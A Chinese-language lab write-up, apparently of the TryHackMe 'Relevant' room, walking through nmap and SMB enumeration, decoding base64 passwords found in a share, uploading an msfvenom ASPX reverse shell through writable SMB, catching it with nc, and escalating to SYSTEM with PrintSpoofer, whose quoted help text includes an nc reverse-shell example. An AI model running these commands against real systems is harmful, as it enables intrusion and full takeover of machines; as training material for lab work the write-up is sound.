Offensive Pentesting-Relevant

这个靶机算是对Advanced Exploitation部分的一个总结利用 并没有像之前的几个靶机一样 给出循序渐进的步骤 而是相对开放的让我们自行去进行渗透测试

端口扫描

先是使用nmap来扫

nmap -A -p- -v -Pn 10.10.228.206

发现扫到的80和49663端口都是一样的web服务 同时也发现开放了139和445端口 可能存在共享文件夹服务

image-20241212154721273

image-20241212154819127

共享文件夹服务

继续用nmap跑一下共享文件夹的服务

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.228.206

发现后两个是存在读写权限的

image-20241212195833403

尝试连接 \\10.10.228.206\nt4wrksv

smbclient //10.10.228.206/nt4wrksv 

image-20241212200525255

看到一个passwords.txt导出查看

smbget -R smb://10.10.241.61/nt4wrksv

image-20241212200945897

[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

一眼base64编码 解一下 拿到两组密码

Bob - !P@$$W0rD!123
Bill - Juw4nnaM4n420696969!$$$

nmap扫描可能存在的smb漏洞

nmap -p 135,445 --script smb-vuln* 10.10.139.191  

可以发现 识别出来可能存在MS17-010漏洞 也就是我们常说的永恒之蓝

image-20241214194009121

MS17-010漏洞利用

这里实际上尝试之后 发现利用不了

利用smb服务可写性上传反弹shell

前面发现找到的smb服务是可以进行读写的 所以我们可以使用msfvenom生成一个反弹shell文件 在利用smb服务传到靶机上去

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.114.143 LPORT=1234 -f aspx -o shell.aspx

image-20250310190938478

上传shell.aspx到靶机中

put shell.aspx

其位置是在\nt4wrksv\shell.aspx

image-20250310191241897

下面我们在本机中开启监听

nc -nlvp 1234

同时用curl去访问我们传上去的反弹shell文件

curl http://10.10.125.136:49663/nt4wrksv/shell.aspx

成功反弹到shell

image-20250310201009101

user flag

找一下用户flag的位置

dir /s /b C:\ | findstr "user.txt"

image-20250310202011800

提权(PrintSpoofer)

这里面的提权使用到令牌模拟 我本来是想仿照Alferd那关一样来操作 于是重新生成了一个连接meterpreter shell的反弹shell文件 通过smb进行上传 在通过msf进行连接

image-20250310204423521

首先是要查看一下是否存在我们可以利用的权限

whoami /priv

权限条件满足

image-20250310211505002

但是并没有出现我们可以使用的administrator管理员令牌

image-20250310204522368

所以这里使用了PrintSpoofer 还是先通过smb上传到靶机上去

PrintSpoofer v0.1(由 @itm4n 提供)
  只要当前用户拥有 SeImpersonate 权限,该工具就能利用 Print
  Spooler 服务获取 SYSTEM 令牌,然后使用 CreateProcessAsUser() 运行自定义命令。
参数:
  -c <CMD> 执行 *CMD* 命令
  -i 在当前命令提示符下与新进程交互(默认为不交互)
  -d <ID> 在桌面上生成一个新进程,该进程对应于会话 *ID*(用 qwinsta 查看你的 ID)
  -这就是我)
示例
  - 在当前控制台中以 SYSTEM 身份运行 PowerShell
      PrintSpoofer.exe -i -c powershell.exe
  - 在会话 1 的桌面上生成 SYSTEM 命令提示符
      PrintSpoofer.exe -d 1 -c cmd.exe
  - 获取 SYSTEM 反向 shell
      PrintSpoofer.exe -c “c:\Temp\nc.exe 10.10.13.37 1337 -e cmd” -c “c:\Temp\nc.exe 10.10.13.37 1337 -e cmd” -e cmd.exe

printspoofer.exe -i -c "whoami”

前面我们也是用whoami /priv查看过了 存在这个权限

image-20250310210825037

回到nc弹出来的shell中 找到PrintSpoofer64.exe的位置

dir /s /b C:\ | findstr  "PrintSpoofer64.exe" 

image-20250310211135041

执行命令获取system令牌

PrintSpoofer64.exe -i -c cmd

image-20250310211759002

执行whoami 发现是nt authority\system 说明已经获取了system令牌 此时我们是管理员权限

root flag

读取root flag

type C:\Users\Administrator\Desktop\root.txt

image-20250310211914144

做法总结:

1.利用smb服务的可写入权限 上传反弹shell文件 得到初始的权限

2.PrintSpoofer令牌模拟提权